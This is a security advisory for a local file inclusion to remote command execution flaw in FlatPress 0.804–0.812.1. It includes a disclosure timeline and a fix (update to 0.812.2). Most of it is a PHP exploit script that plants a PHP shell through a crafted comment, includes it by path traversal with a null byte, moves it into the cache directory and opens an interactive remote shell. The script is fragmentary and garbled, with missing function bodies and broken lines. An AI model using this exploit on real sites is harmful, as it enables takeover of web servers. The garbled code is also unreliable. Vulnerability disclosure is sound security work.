Security Advisory
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution
Researcher Information
Discovered by: Giuseppe `Zmax` Fuggiano
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com
Product Information
FlatPress is an open-source standard-compliant multi-lingual extensible blogging engine written in PHP by Edoardo Vacchi.
Vulnerability Description
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty LFI vulnerability which can be exploited to have RCE (Remote Command Execution). The piece of code involved is in the fp-includes/core/core.users.php directory in the user_get() function as showed below.
function user_get($userid=null){
}
It is possible to create a crafted comment for an article, and inject PHP code into the "web link" field, which is not properly validated. Then, a remote attacker could use this code to execute shell commands remotely, eventually hiding his own tracks (e.g. deleting the injected comment).
Disclosure timeline
DD/MM/YYYY
24/09/2009: Vulnerability discovery and analysis;
26/09/2009: The vendor was notificated via e-mail;
26/09/2009: Vendor response and a new release publicly available;
27/09/2009: The researcher starts coding the exploit;
29/09/2009: Exploit complete and tested.
Workaroud
Update to the newer version 0.812.2
Shouts
Thank you (you-know-who) :-)
Exploit
<?php
Examples:
php fp-lfi2rce.php www.example.com / => will test
php fp-lfi2rce.php www.example.com /blog attack => will attack
php fp-lfi2rce.php www.example.com /flatpress attack en 12345678.php => start remote session */
/* GET request, returns the page */
function get_url_contents($crl, $url)
{
$ret = curl_exec($crl);
return $ret;
}
/* POST request */
function post_url_fields($crl, $url, $fields) {
/* Execute remote command, returns the output */ function fp_exec($crl, $sh, $cmd)
$ret = post_url_fields($crl, $sh, "c=$cmd");
if ($ret) {
/* Starts a remote command session */
function fp_shell($crl, $sh)
echo "/nStarting remote command session, type 'quit' or 'exit' to exit./n";
echo "/nremote> ";
$line = trim(fgets(STDIN));
while (($line != 'exit') && ($line != 'quit')) {
}
function fail($crl, $str)
curl_close($crl);
die($str);
echo "/n Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>/n"; echo "/n";
echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution/n";
echo " vulnerability exploit (fp-includes/core/core.users.php)./n";
echo " This code posts a crafted comment with a very simple PHP shell./n";
echo " It exploits the LFI, hides the shell in the cache directory/n";
the shell name./n";
12345678.php => start remote session/n/n";
$crl = curl_init();
if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h') die();
$HOST = $argv[1];
$PATH = $argv[2];
if (isset($argv[3]))
$ACTION = $argv[3];
else
$ACTION = 'test';
if (isset($argv[4]))
$LANG = $argv[4];
$LANG = 'en';
switch ($LANG) {
case 'it':
$LANGARRAY = array('aaspam' => 'Per prevenire abusi del sistema di commenti, ' .
if (isset($argv[5])) {
$SHELL = $argv[5];
fp_shell($crl, "fp-content/cache/$SHELL"); curl_close($crl);
exit();
} else
$SHELL = 'unknown';
echo " [+] Vulnerability test: ";
$form = "user=../../admin&pass=".rand()."&submit=Login"; $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);
if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false) echo "vulnerable!/n/n";
fail($crl, "NOT vulnerable!/n/n");
if ($ACTION == "test") {
echo " [+] Creating the shell/n";
echo " * Getting the home page: ";
$home = get_url_contents($crl, "$HOST/$PATH/");
if (strpos($home, '<meta name="generator" content="FlatPress')) echo "ok/n";
fail($crl, "FAIL!/n/n");
echo " * Detecting an article: ";
$entrypos = strpos($home, "x=entry:entry") + 8;
if ($entrypos) {
$entry = substr($home, $entrypos, 18); echo "$entry/n";
echo " * Getting the comment page: ";
$commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");
if (strpos($commentpage, 'id="comment-userdata"')) echo "ok/n";
echo " * Solving the math operation: ";
$mathpos = strpos($commentpage, $LANGARRAY['aaspam']) + strlen($LANGARRAY['aaspam']);
switch ($operation) {
case $LANGARRAY['sum']:
echo "$result/n";
echo " * Posting crafted comment.../n";
$random = rand();
'&aaspam='.$result.'&content=foo&submit=Add';
post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form); $commentpage = get_url_contents($crl,
echo " * Searching comment name: ";
if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",
$SHELL = rand().'.php';
$form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .
"&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";
$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);
echo " [+] Your shell: fp-content/cache/$SHELL/n"; } else
fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");
curl_close($crl);
exit();
?>